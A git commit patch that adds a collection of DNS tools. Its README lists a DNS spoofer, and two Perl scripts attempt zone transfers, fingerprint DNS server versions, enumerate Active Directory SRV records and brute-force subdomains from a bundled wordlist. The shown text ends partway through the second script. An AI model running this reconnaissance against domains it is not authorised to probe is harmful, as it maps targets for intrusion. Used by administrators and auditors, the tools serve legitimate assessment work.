From 3b3722425eb09e1a16cde0fb0dfc46720add7d84 Mon Sep 17 00:00:00 2001 From: Peter Baumann Date: Tue, 4 Jun 2013 15:25:58 +0200 Subject: [PATCH] changed dns to dns-projects to divide scripts and projects --- dns-projects/README.md | 30 + dns-projects/digg/digg.pl | 322 + dns-projects/digg/names.txt | 319 + dns-projects/dnsdigger/dns-server.dat | 1 + dns-projects/dnsdigger/dnsdigger.pl | 325 + dns-projects/dnsdigger/names.txt | 319 + dns-projects/dnsdigger/readme.txt | 41 + dns-projects/dnsdigger/root-servers.dat | 13 + .../dnsperf-src-2.0.0.0-1/Makefile.in | 55 + dns-projects/dnsperf-src-2.0.0.0-1/README | 21 + .../dnsperf-src-2.0.0.0-1/RELEASE_NOTES | 165 + dns-projects/dnsperf-src-2.0.0.0-1/aclocal.m4 | 2 + .../dnsperf-src-2.0.0.0-1/acx_pthread.m4 | 242 + .../dnsperf-src-2.0.0.0-1/config.guess | 1447 +++++ dns-projects/dnsperf-src-2.0.0.0-1/config.sub | 1555 +++++ dns-projects/dnsperf-src-2.0.0.0-1/configure | 4940 +++++++++++++++ .../dnsperf-src-2.0.0.0-1/configure.in | 73 + .../contrib/queryparse/INSTALL | 48 + .../contrib/queryparse/USAGE | 52 + .../contrib/queryparse/queryparse | 115 + .../contrib/queryparse/queryparse.1 | 50 + dns-projects/dnsperf-src-2.0.0.0-1/datafile.c | 275 + dns-projects/dnsperf-src-2.0.0.0-1/datafile.h | 44 + dns-projects/dnsperf-src-2.0.0.0-1/dns.c | 849 +++ dns-projects/dnsperf-src-2.0.0.0-1/dns.h | 66 + dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.1 | 304 + dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.c | 1059 ++++ .../doc/caching-dns-performance.pdf | Bin 0 -> 70898 bytes .../dnsperf-src-2.0.0.0-1/doc/dnsperf.pdf | Bin 0 -> 181527 bytes .../dnsperf-src-2.0.0.0-1/doc/resperf.pdf | Bin 0 -> 240347 bytes dns-projects/dnsperf-src-2.0.0.0-1/install-sh | 250 + dns-projects/dnsperf-src-2.0.0.0-1/log.c | 63 + dns-projects/dnsperf-src-2.0.0.0-1/log.h | 32 + dns-projects/dnsperf-src-2.0.0.0-1/net.c | 185 + dns-projects/dnsperf-src-2.0.0.0-1/net.h | 53 + dns-projects/dnsperf-src-2.0.0.0-1/opt.c | 242 + dns-projects/dnsperf-src-2.0.0.0-1/opt.h | 40 + dns-projects/dnsperf-src-2.0.0.0-1/os.c | 90 + dns-projects/dnsperf-src-2.0.0.0-1/os.h | 30 + .../dnsperf-src-2.0.0.0-1/resperf-report | 96 + dns-projects/dnsperf-src-2.0.0.0-1/resperf.1 | 572 ++ dns-projects/dnsperf-src-2.0.0.0-1/resperf.c | 678 +++ dns-projects/dnsperf-src-2.0.0.0-1/util.h | 122 + dns-projects/dnsperf-src-2.0.0.0-1/version.h | 5 + dns-projects/dnswalk/CHANGES | 164 + dns-projects/dnswalk/README | 95 + dns-projects/dnswalk/TODO | 18 + dns-projects/dnswalk/dnswalk | 414 ++ dns-projects/dnswalk/dnswalk.1 | 221 + dns-projects/dnswalk/dnswalk.errors | 96 + dns-projects/dnswalk/do-dnswalk | 16 + dns-projects/dnswalk/makereports | 30 + dns-projects/dnswalk/rfc1912.txt | 899 +++ dns-projects/dnswalk/sendreports | 28 + dns-projects/nslint-2.1a8/CHANGES | 197 + dns-projects/nslint-2.1a8/FILES | 24 + dns-projects/nslint-2.1a8/INSTALL | 42 + dns-projects/nslint-2.1a8/Makefile.in | 122 + dns-projects/nslint-2.1a8/README | 14 + dns-projects/nslint-2.1a8/VERSION | 1 + dns-projects/nslint-2.1a8/aclocal.m4 | 817 +++ dns-projects/nslint-2.1a8/config.guess | 1407 +++++ dns-projects/nslint-2.1a8/config.sub | 1504 +++++ dns-projects/nslint-2.1a8/configure | 5385 +++++++++++++++++ dns-projects/nslint-2.1a8/configure.in | 47 + dns-projects/nslint-2.1a8/install-sh | 507 ++ dns-projects/nslint-2.1a8/lbl/gnuc.h | 49 + dns-projects/nslint-2.1a8/lbl/os-irix5.h | 38 + dns-projects/nslint-2.1a8/lbl/os-osf3.h | 32 + dns-projects/nslint-2.1a8/lbl/os-solaris2.h | 50 + dns-projects/nslint-2.1a8/lbl/os-sunos4.h | 215 + dns-projects/nslint-2.1a8/lbl/os-ultrix4.h | 39 + dns-projects/nslint-2.1a8/mkdep | 109 + dns-projects/nslint-2.1a8/nslint.8 | 497 ++ dns-projects/nslint-2.1a8/nslint.c | 2494 ++++++++ dns-projects/nslint-2.1a8/savestr.c | 65 + dns-projects/nslint-2.1a8/savestr.h | 24 + dns-projects/nslint-2.1a8/strerror.c | 75 + dns-projects/zodiac/README | 71 + dns-projects/zodiac/doc/ChangeLog | 284 + dns-projects/zodiac/doc/INSTALL | 124 + dns-projects/zodiac/doc/README | 148 + dns-projects/zodiac/doc/ToDo | 17 + dns-projects/zodiac/src/Makefile | 17 + dns-projects/zodiac/src/cipher-blowfish-tab.h | 282 + dns-projects/zodiac/src/cipher-blowfish.c | 304 + dns-projects/zodiac/src/cipher-blowfish.h | 93 + dns-projects/zodiac/src/cipher-sha1.c | 202 + dns-projects/zodiac/src/cipher-sha1.h | 24 + dns-projects/zodiac/src/common.c | 318 + dns-projects/zodiac/src/common.h | 26 + dns-projects/zodiac/src/dns-build.c | 670 ++ dns-projects/zodiac/src/dns-build.h | 212 + dns-projects/zodiac/src/dns-mass.c | 21 + dns-projects/zodiac/src/dns-spoof-int.c | 269 + dns-projects/zodiac/src/dns-spoof-int.h | 82 + dns-projects/zodiac/src/dns-spoof.c | 556 ++ dns-projects/zodiac/src/dns-spoof.h | 23 + dns-projects/zodiac/src/dns-tag.c | 139 + dns-projects/zodiac/src/dns-tag.h | 78 + dns-projects/zodiac/src/dns-tools.c | 501 ++ dns-projects/zodiac/src/dns-tools.h | 85 + dns-projects/zodiac/src/dns.c | 548 ++ dns-projects/zodiac/src/dns.h | 66 + dns-projects/zodiac/src/dnsid.c | 403 ++ dns-projects/zodiac/src/dnsid.h | 58 + dns-projects/zodiac/src/dnsq.c | 622 ++ dns-projects/zodiac/src/dnsq.h | 185 + dns-projects/zodiac/src/gui.c | 384 ++ dns-projects/zodiac/src/gui.h | 21 + dns-projects/zodiac/src/io-udp.c | 272 + dns-projects/zodiac/src/io-udp.h | 133 + dns-projects/zodiac/src/network.c | 251 + dns-projects/zodiac/src/network.h | 126 + dns-projects/zodiac/src/output.c | 152 + dns-projects/zodiac/src/output.h | 31 + dns-projects/zodiac/src/packet.c | 422 ++ dns-projects/zodiac/src/packet.h | 85 + dns-projects/zodiac/src/sniff.c | 311 + dns-projects/zodiac/src/sniff.h | 45 + dns-projects/zodiac/src/zodiac.c | 113 + dns-projects/zodiac/src/zodiac.h | 23 + dns-projects/zodiac/src/zsp/Makefile | 18 + dns-projects/zodiac/src/zsp/zsp-test.c | 27 + dns-projects/zodiac/src/zsp/zsp.c | 234 + 125 files changed, 40001 insertions(+) create mode 100644 dns-projects/README.md create mode 100755 dns-projects/digg/digg.pl create mode 100755 dns-projects/digg/names.txt create mode 100644 dns-projects/dnsdigger/dns-server.dat create mode 100644 dns-projects/dnsdigger/dnsdigger.pl create mode 100644 dns-projects/dnsdigger/names.txt create mode 100644 dns-projects/dnsdigger/readme.txt create mode 100644 dns-projects/dnsdigger/root-servers.dat create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/Makefile.in create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/README create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/RELEASE_NOTES create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/aclocal.m4 create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/acx_pthread.m4 create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/config.guess create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/config.sub create mode 100755 dns-projects/dnsperf-src-2.0.0.0-1/configure create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/configure.in create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/INSTALL create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/USAGE create mode 100755 dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/contrib/queryparse/queryparse.1 create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/datafile.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/datafile.h create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/dns.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/dns.h create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.1 create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/doc/caching-dns-performance.pdf create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/doc/dnsperf.pdf create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/doc/resperf.pdf create mode 100755 dns-projects/dnsperf-src-2.0.0.0-1/install-sh create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/log.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/log.h create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/net.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/net.h create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/opt.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/opt.h create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/os.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/os.h create mode 100755 dns-projects/dnsperf-src-2.0.0.0-1/resperf-report create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/resperf.1 create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/resperf.c create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/util.h create mode 100644 dns-projects/dnsperf-src-2.0.0.0-1/version.h create mode 100644 dns-projects/dnswalk/CHANGES create mode 100644 dns-projects/dnswalk/README create mode 100644 dns-projects/dnswalk/TODO create mode 100755 dns-projects/dnswalk/dnswalk create mode 100644 dns-projects/dnswalk/dnswalk.1 create mode 100644 dns-projects/dnswalk/dnswalk.errors create mode 100755 dns-projects/dnswalk/do-dnswalk create mode 100755 dns-projects/dnswalk/makereports create mode 100644 dns-projects/dnswalk/rfc1912.txt create mode 100755 dns-projects/dnswalk/sendreports create mode 100644 dns-projects/nslint-2.1a8/CHANGES create mode 100644 dns-projects/nslint-2.1a8/FILES create mode 100644 dns-projects/nslint-2.1a8/INSTALL create mode 100644 dns-projects/nslint-2.1a8/Makefile.in create mode 100644 dns-projects/nslint-2.1a8/README create mode 100644 dns-projects/nslint-2.1a8/VERSION create mode 100644 dns-projects/nslint-2.1a8/aclocal.m4 create mode 100755 dns-projects/nslint-2.1a8/config.guess create mode 100755 dns-projects/nslint-2.1a8/config.sub create mode 100755 dns-projects/nslint-2.1a8/configure create mode 100644 dns-projects/nslint-2.1a8/configure.in create mode 100755 dns-projects/nslint-2.1a8/install-sh create mode 100644 dns-projects/nslint-2.1a8/lbl/gnuc.h create mode 100644 dns-projects/nslint-2.1a8/lbl/os-irix5.h create mode 100644 dns-projects/nslint-2.1a8/lbl/os-osf3.h create mode 100644 dns-projects/nslint-2.1a8/lbl/os-solaris2.h create mode 100644 dns-projects/nslint-2.1a8/lbl/os-sunos4.h create mode 100644 dns-projects/nslint-2.1a8/lbl/os-ultrix4.h create mode 100755 dns-projects/nslint-2.1a8/mkdep create mode 100644 dns-projects/nslint-2.1a8/nslint.8 create mode 100644 dns-projects/nslint-2.1a8/nslint.c create mode 100644 dns-projects/nslint-2.1a8/savestr.c create mode 100644 dns-projects/nslint-2.1a8/savestr.h create mode 100644 dns-projects/nslint-2.1a8/strerror.c create mode 100644 dns-projects/zodiac/README create mode 100644 dns-projects/zodiac/doc/ChangeLog create mode 100644 dns-projects/zodiac/doc/INSTALL create mode 100644 dns-projects/zodiac/doc/README create mode 100644 dns-projects/zodiac/doc/ToDo create mode 100644 dns-projects/zodiac/src/Makefile create mode 100644 dns-projects/zodiac/src/cipher-blowfish-tab.h create mode 100644 dns-projects/zodiac/src/cipher-blowfish.c create mode 100644 dns-projects/zodiac/src/cipher-blowfish.h create mode 100644 dns-projects/zodiac/src/cipher-sha1.c create mode 100644 dns-projects/zodiac/src/cipher-sha1.h create mode 100644 dns-projects/zodiac/src/common.c create mode 100644 dns-projects/zodiac/src/common.h create mode 100644 dns-projects/zodiac/src/dns-build.c create mode 100644 dns-projects/zodiac/src/dns-build.h create mode 100644 dns-projects/zodiac/src/dns-mass.c create mode 100644 dns-projects/zodiac/src/dns-spoof-int.c create mode 100644 dns-projects/zodiac/src/dns-spoof-int.h create mode 100644 dns-projects/zodiac/src/dns-spoof.c create mode 100644 dns-projects/zodiac/src/dns-spoof.h create mode 100644 dns-projects/zodiac/src/dns-tag.c create mode 100644 dns-projects/zodiac/src/dns-tag.h create mode 100644 dns-projects/zodiac/src/dns-tools.c create mode 100644 dns-projects/zodiac/src/dns-tools.h create mode 100644 dns-projects/zodiac/src/dns.c create mode 100644 dns-projects/zodiac/src/dns.h create mode 100644 dns-projects/zodiac/src/dnsid.c create mode 100644 dns-projects/zodiac/src/dnsid.h create mode 100644 dns-projects/zodiac/src/dnsq.c create mode 100644 dns-projects/zodiac/src/dnsq.h create mode 100644 dns-projects/zodiac/src/gui.c create mode 100644 dns-projects/zodiac/src/gui.h create mode 100644 dns-projects/zodiac/src/io-udp.c create mode 100644 dns-projects/zodiac/src/io-udp.h create mode 100644 dns-projects/zodiac/src/network.c create mode 100644 dns-projects/zodiac/src/network.h create mode 100644 dns-projects/zodiac/src/output.c create mode 100644 dns-projects/zodiac/src/output.h create mode 100644 dns-projects/zodiac/src/packet.c create mode 100644 dns-projects/zodiac/src/packet.h create mode 100644 dns-projects/zodiac/src/sniff.c create mode 100644 dns-projects/zodiac/src/sniff.h create mode 100644 dns-projects/zodiac/src/zodiac.c create mode 100644 dns-projects/zodiac/src/zodiac.h create mode 100644 dns-projects/zodiac/src/zsp/Makefile create mode 100644 dns-projects/zodiac/src/zsp/zsp-test.c create mode 100644 dns-projects/zodiac/src/zsp/zsp.c diff --git a/dns-projects/README.md b/dns-projects/README.md new file mode 100644 index 0000000..74ce453 --- /dev/null +++ b/dns-projects/README.md @@ -0,0 +1,30 @@ +DNS Scripts +=========== + +A collection of Projects about DNS Stuff I found on the internet. + +Directories +=========== + +# scripts +* DNS Scripts + +# zodiac +* DNS Spoofer + +# nslint-2.1a8 +nslint is a lint-like program that checks DNS files for errors. DNS or Domain Name System generally maps names to IP addresses and E-mail addresses in a hierarchical fashion. Errors detected include missing trailing dots, illegal characters (RFC 1034), records without matching PTR records and vice-versa, duplicate names in a subnet, duplicate names for an address, names with cname records (RFC 1033), missing quotes, and unknown keywords. + +# dnswalk +dnswalk is a DNS debugger. It performs zone transfers of specified domains, and checks the database in numerous ways for internal consistency, as well as accuracy. + +# dnsdigger +DNSDigger is a programm to gather as much as possible informations from DNS Servers. + +# digg +Zone Transfer Script + +# dnsperf-src-2.0.0.0-1 +DNSPerf “self-paces” the DNS query load to simulate network conditions. New features in DNSPerf improve the precision of latency measurements and allow for per packet per-query latency reporting is possible. DNSPerf is now multithreaded, multiple DNSPerf clients can be supported in multicore systems (each client requires two cores). The output of DNSPerf has also been improved so it is more concise and useful. Latency data can be used to make detailed graphs so it is simple for network operators to take advantage of the data. + +ResPerf systematically increases the query rate and monitors the response rate to simulate caching DNS services. diff --git a/dns-projects/digg/digg.pl b/dns-projects/digg/digg.pl new file mode 100755 index 0000000..e9686be --- /dev/null +++ b/dns-projects/digg/digg.pl @@ -0,0 +1,322 @@ +#!/usr/bin/perl + +use Net::DNS; + +sub get_axfr{ +print "\nInitiating Zone Transfer ...\n"; +$res->usevc(1); +@zone = $res->axfr($domain); + if (@zone) { + foreach $rr (@zone) { + $rr->print; + } + print "\n----------------------------------------------------------------------\n\n"; + return 1; + } + else { + print ';;Zone transfer failed: ', $res->errorstring, "\n"; + print "\n----------------------------------------------------------------------\n\n"; + return 0; + } +} + +sub find_rootserver{ +$res->usevc(0); +if (open(ROOT,"root-servers.dat")){ + while (){ + chomp($_); + $res->nameservers($_); + print "Asking Root Server $_\n"; + $packet=$res->send($domain, 'NS'); + if ($packet){ + @additional_tld = $packet->additional; + if (@additional_tld) { + foreach $rr (@additional_tld) { + $tld=$rr->rdatastr; + if (find_ns()){close(ROOT); return 1;} + else {print "No Records found!\n";} + } + } + } + } + close(ROOT); + return 0; + die "Can't connect to the Root-Servers! \n"; + } + else {die "Can't open root-servers.dat!\n";} +close(ROOT); +} + +sub resolve_name{ +# Enter the IP of your favorite DNS Server in the next line +#$res->nameservers('217.5.115.7'); +if (open(DNS,"dns-server.dat")){ + while (){ + chomp($_); + $res->nameservers($_); + } + } +close(DNS); +print "Resolving $name\n"; +$packet_resolve=$res->send($name,'ANY'); +if ($packet_resolve){ + @nameserv = $packet_resolve->answer; + if (@nameserv) { + foreach $rr (@nameserv) { + $ns=$rr->rdatastr;} + } + } +} + +sub find_ns{ +$ok=0; +$res->usevc(0); +$res->recurse(1); +$res->nameservers($tld); +print "Asking TLD Server $tld\n"; +$packet=$res->send($domain, 'NS'); +if ($packet){ + @additional_ns = $packet->additional; + @answer_ns = $packet->answer; + if (@additional_ns) { + foreach $rr (@additional_ns) { + $ns=$rr->rdatastr; + if (get_dns()){$ok= 1;} + } + if ($ok){return 1;} + } + else { + if (@answer_ns) { + foreach $rr (@answer_ns) { + $name=$rr->rdatastr; + resolve_name(); + if (get_dns()){$ok= 1;} + } + if ($ok){return 1;} + } + else {return 0;} + } +} +return 0; +} + +sub get_dns(){ +$res->nameservers($ns); +$res->usevc(0); +print "Asking Name Server $ns\n"; +if ($version){get_ver();} +$packet=$res->send($domain, 'NS'); +if ($packet){ +if ( get_axfr()){ + print " Zone Transfer succesful!\n"; + } +else { + get_any(); + get_activedir(); + if ($dig){dig_dns();} + print "All possible information for $domain gathered!\n"; +} +return 1; +} +else {return 0;} +} + +sub get_ver{ +$res->usevc(0); +print "\nChecking for DNS Server Version ...\n"; +$packet=$res->query('version.bind', 'TXT','CH'); +if ($res->errorstring eq "NOTIMP"){print "Microsoft DNS Server detected!\n";} +if ($res->errorstring eq "FORMERR"){print "TinyDNS Server detected!\n";} +if ($res->errorstring eq "NOERROR") +{ + print "BIND DNS Server detected!\n"; + if ($packet) { + @dnsversion = $packet->answer; + if (@dnsversion) { + foreach $rr (@dnsversion) { + $ver=$rr->rdatastr; + print "BIND Version: $ver \n";} + } + } +} +} + +sub get_any{ +print "\nGetting ANY DNS Record ...\n"; +$res->usevc(0); +$packet=$res->query($domain, 'ANY'); +if ($packet) { + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } +@dnstypes=( +"A", +"AAAA", +"AFSDB", +"CERT", +"CNAME", +"DNAME", +"EID", +"HINFO", +"ISDN", +"LOC", +"MB", +"MG", +"MINFO", +"MR", +"MX", +"NAPTR", +"NIMLOC", +"NS", +"NSAP", +"NULL", +"OPT", +"PTR", +"PX", +"RP", +"RT", +"SOA", +"TKEY", +"TSIG", +"TXT", +"WKS", +"X25" +); +foreach $i (@dnstypes) { +print "\nTrying $i Record Type ...\n"; +$packet=$res->query($domain, $i); +if ($packet) { + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } +} +} + +sub get_activedir{ +print "\nLooking for Active Directory SRV Records ...\n"; +$res->usevc(0); +@srvtype=( +"_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.", +"_kerberos._tcp.Default-First-Site-Name._sites.", +"_kerberos._tcp.dc._msdcs.", +"_kerberos._tcp.", +"_kerberos._udp.", +"_kpasswd._tcp.", +"_kpasswd._udp.", +"_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.", +"_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.", +"_ldap._tcp.Default-First-Site-Name._sites.", +"_ldap._tcp.dc._msdcs.", +"_ldap._tcp.gc._msdcs.", +"_ldap._tcp.pdc._msdcs.", +"_ldap._tcp.", +"_gc._tcp.Default-First-Site-Name._sites.", +"_gc._tcp." +); +foreach $i (@srvtype) { +$service = $i.$domain; +print "\nTrying $service ...\n"; +$packet=$res->query($service, 'SRV'); +if ($packet) { + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } +} +} + +sub dig_dns{ +print "\nStarting the DNS Digger ...\n"; +@hybridlst1=("0","1","2","3","4","5","6","7","8","9"); +@hybridlst2=("0","1","2","3","4","5","6","7","8","9"); +$res->usevc(0); +if (open(NAMES,"names.txt")){ + while (){ + chomp($_); + $host = $_.".".$domain; + $packet=$res->query($host, 'ANY'); + if ($packet){ + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } + if ($hybrid){ + foreach $h1 (@hybridlst1) { + foreach $h2 (@hybridlst2) { + $hybrid_host=$_.$h1.$h2.".".$domain; + $packet=$res->query($hybrid_host, 'ANY'); + if ($packet){ + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } + } + } + } + if ($silent){sleep 1}; + } + } + else {print "Can't open names.txt!\n";} +close(NAMES); +} + +sub usage(){ +print "\nUsage: perl digg.pl [OPTIONS]\n"; +print "-----------------------------------------------------------\n"; +print "OPTIONS:\n"; +print "silent : Activates a time loop of 1 second in the DNS Digger function\n"; +print "debug : Starts a debug output\n"; +print "nodig : Disable the Digger\n"; +print "port53 : Use Port 53 as Source Port\n"; +print "host : Use a specific DNS Server and must be followed by the IP Address\n"; +print "hybrid : Appends 01 to 99 to the names while digging\n"; +print "version: Try to get the DNS Server Version\n"; +print "\nEXAMPLES:\n"; +print "perl digg.pl example.com\n"; +print "perl digg.pl example.com silent\n"; +print "perl digg.pl example.com debug\n"; +print "perl digg.pl example.com host 10.1.1.1\n"; +exit; +} + +# Main Programm +if (@ARGV==0){usage();} +$dig=1; +$root=1; +$version=0; +print "\n"; +print "digg 0.3beta (c) 2003 by Michael Thumann (mthumann\@ernw.de)\n"; +print "----------------------------------------------------------------------\n\n"; +$res = Net::DNS::Resolver->new; +$res->tcp_timeout(5); +$res->udp_timeout(5); +$res->retry(2); +$res->retrans(3); +if (@ARGV==1){ + $domain=$ARGV[0]; + if (find_rootserver()){print "Done.\n";} + else{print "Error: Can't connect to the DNS Server!\n";} + } +if (@ARGV>=2){ + $domain=$ARGV[0]; + for ($o=1;$o<=@ARGV;$o++){ + $option=$ARGV[$o]; + if ($option eq "silent") {$silent=1;print "Time Loop enabled!\n"} + if ($option eq "debug") {$res->debug(1);print "Debug enabled!\n";} + if ($option eq "port53") {$res->srcport(53);print "Switching to Source Port 53!\n";} + if ($option eq "nodig") {$dig=0;print "Digger disabled!\n";} + if ($option eq "version") {$version=1;print "Query DNS Server Version enabled!\n";} + if ($option eq "hybrid") {$hybrid=1;print "Hybrid Mode for Digger enabled!\n";} + if ($option eq "host") { + $root=0; + print "Use specific DNS Server!\n"; + $ns=$ARGV[$o+1]; + } + } + if ($root){ + if (find_rootserver()){print "Done.\n";} + else{print "Error: Can't connect to the DNS Server!\n";} + } + else{ + if (get_dns()){print "Done.\n";} + else{print "Error: Can't connect to the DNS Server!\n";} + } + } +# end diff --git a/dns-projects/digg/names.txt b/dns-projects/digg/names.txt new file mode 100755 index 0000000..24f0238 --- /dev/null +++ b/dns-projects/digg/names.txt @@ -0,0 +1,319 @@ +CODE + +ILMI +academico +acceso +access +acid +admin +admins +administracion +administrador +afiliados +agenda +agent +aix +alerts +antivirus +app +apps +appserver +archie +as400 +auto +ayuda +backup +banking +bbs +bbdd +bea +beta +bolsa +buscador +ca +canal +catalog +certify +cgi +channel +channels +chat +chats +cisco +clientes +club +cluster +clusters +code +commerce +community +compaq +compras +consola +console +consumer +contact +contracts +corporate +correo +correoweb +cortafuegos +cso +data +datos +db +db2 +default +demo +desarrollo +descargas +design +dev +develop +developer +device +dial +digital +dilbert +directory +disc +discovery +disk +disney +dns +dns1 +dns2 +dns3 +dns-2 +docs +documentos +documentacion +domain +domains +dominio +domino +dominoweb +download +earth +ecommerce +e-commerce +edi +education +ejemplo +email +empresa +empresas +enable +engine +engineer +enterprise +estadisticas +events +example +exchange +extern +external +extranet +fax +field +firewall +formacion +foro +foros +forum +forums +foto +fotos +fsp +ftp +ftp2 +fw +fw1 +fw-1 +galeria +galerias +galleries +games +gateway +gopher +guest +gw +hello +help +helpdesk +helponline +hp +ibm +ibmdb +ids +images +imap +imap4 +img +info +intern +internal +intranet +invalid +ipsec +ipsec-gw +irc +ircserver +jobs +juegos +ldap +link +linux +lista +lists +listserver +localhost +log +login +lotus +mail +mailhost +management +manager +map +maps +mapas +marketing +media +members +messenger +mngt +mobile +monitor +mrtg +multimedia +music +names +netdata +netstats +network +news +nms +nntp +nombres +noticias +ns +ns1 +ns2 +ntp +online +openview +outlook +oracle +page +pages +paginas +partner +partners +pda +personal +ph +pictures +pix +pop +pop3 +portal +postales +prensa +press +private +proxy +prueba +pruebas +project +projects +public +ra +radio +raptor +ras +read +register +registro +remote +reports +resumenes +root +router +rwhois +sac +schedules +scotty +search +secret +secure +security +seri +serv +serv2 +server +service +services +servicio +servidor +shop +shopping +site +sms +smtp +smtphost +snmp +snmpd +snort +solaris +solutions +soporte +source +sql +ssl +stats +store +streaming +sun +support +switch +sysback +system +tech +terminal +test +tienda +time +tivoli +transfers +training +uddi +update +video +vpn +wais +wap +web +webdocs +weblib +weblogic +webmail +webserver +webservices +websphere +whois +wireless +work +world +write +w1 +w2 +w3 +ws +ws1 +ws2 +ws3 +www +www1 +www2 +www3 diff --git a/dns-projects/dnsdigger/dns-server.dat b/dns-projects/dnsdigger/dns-server.dat new file mode 100644 index 0000000..96b73fb --- /dev/null +++ b/dns-projects/dnsdigger/dns-server.dat @@ -0,0 +1 @@ +217.5.115.7 diff --git a/dns-projects/dnsdigger/dnsdigger.pl b/dns-projects/dnsdigger/dnsdigger.pl new file mode 100644 index 0000000..fcce7e9 --- /dev/null +++ b/dns-projects/dnsdigger/dnsdigger.pl @@ -0,0 +1,325 @@ +#!/usr/local/bin/perl +# (c) 2003 Michael Thumann +# Distribute freely +# DNS Module from Michael Fuhr, Thankx Michael ;-). + +use Net::DNS; + +sub get_axfr{ +print "\nInitiating Zone Transfer ...\n"; +$res->usevc(1); +@zone = $res->axfr($domain); + if (@zone) { + foreach $rr (@zone) { + $rr->print; + } + print "\n----------------------------------------------------------------------\n\n"; + return 1; + } + else { + print ';;Zone transfer failed: ', $res->errorstring, "\n"; + print "\n----------------------------------------------------------------------\n\n"; + return 0; + } +} + +sub find_rootserver{ +$res->usevc(0); + if (open(ROOT,"root-servers.dat")){ + while (){ + chomp($_); + $res->nameservers($_); + print "Asking Root Server $_\n"; + $packet=$res->send($domain, 'NS'); + if ($packet){ + @additional_tld = $packet->additional; + if (@additional_tld) { + foreach $rr (@additional_tld) { + $tld=$rr->rdatastr; + if (find_ns()){close(ROOT); return 1;} + else {print "No Records found!\n";} + } + } + } + } + close(ROOT); + return 0; + die "Can't connect to the Root-Servers! \n"; + } + else {die "Can't open root-servers.dat!\n";} +close(ROOT); +} + +sub resolve_name{ +# Enter the IP of your favorite DNS Server in the next line +#$res->nameservers('217.5.115.7'); +if (open(DNS,"dns-server.dat")){ + while (){ + chomp($_); + $res->nameservers($_); + } + } +close(DNS); +print "Resolving $name\n"; +$packet_resolve=$res->send($name,'ANY'); +if ($packet_resolve){ + @nameserv = $packet_resolve->answer; + if (@nameserv) { + foreach $rr (@nameserv) { + $ns=$rr->rdatastr;} + } + } +} + +sub find_ns{ +$ok=0; +$res->usevc(0); +$res->recurse(1); +$res->nameservers($tld); +print "Asking TLD Server $tld\n"; +$packet=$res->send($domain, 'NS'); +if ($packet){ + @additional_ns = $packet->additional; + @answer_ns = $packet->answer; + if (@additional_ns) { + foreach $rr (@additional_ns) { + $ns=$rr->rdatastr; + if (get_dns()){$ok= 1;} + } + if ($ok){return 1;} + } + else { + if (@answer_ns) { + foreach $rr (@answer_ns) { + $name=$rr->rdatastr; + resolve_name(); + if (get_dns()){$ok= 1;} + } + if ($ok){return 1;} + } + else {return 0;} + } +} +return 0; +} + +sub get_dns(){ +$res->nameservers($ns); +$res->usevc(0); +print "Asking Name Server $ns\n"; +if ($version){get_ver();} +$packet=$res->send($domain, 'NS'); +if ($packet){ +if ( get_axfr()){ + print " Zone Transfer succesful!\n"; + } +else { + get_any(); + get_activedir(); + if ($dig){dig_dns();} + print "All possible information for $domain gathered!\n"; +} +return 1; +} +else {return 0;} +} + +sub get_ver{ +$res->usevc(0); +print "\nChecking for DNS Server Version ...\n"; +$packet=$res->query('version.bind', 'TXT','CH'); +if ($res->errorstring eq "NOTIMP"){print "Microsoft DNS Server detected!\n";} +if ($res->errorstring eq "FORMERR"){print "TinyDNS Server detected!\n";} +if ($res->errorstring eq "NOERROR") +{ + print "BIND DNS Server detected!\n"; + if ($packet) { + @dnsversion = $packet->answer; + if (@dnsversion) { + foreach $rr (@dnsversion) { + $ver=$rr->rdatastr; + print "BIND Version: $ver \n";} + } + } +} +} + +sub get_any{ +print "\nGetting ANY DNS Record ...\n"; +$res->usevc(0); +$packet=$res->query($domain, 'ANY'); +if ($packet) { + $packet->print; + print "\n----------------------------------------------------------------------\n\n"; + } +@dnstypes=( +"A", +"AAAA", +"AFSDB", +"CERT", +"CNAME", +"DNAME", +"EID", +"HINFO", +"ISDN", +"LOC", +"MB", +"MG", +"MINFO", +"MR", +"MX", +"NAPTR", +"NIMLOC", +"NS", +"NSAP", +"NULL", +"OPT", 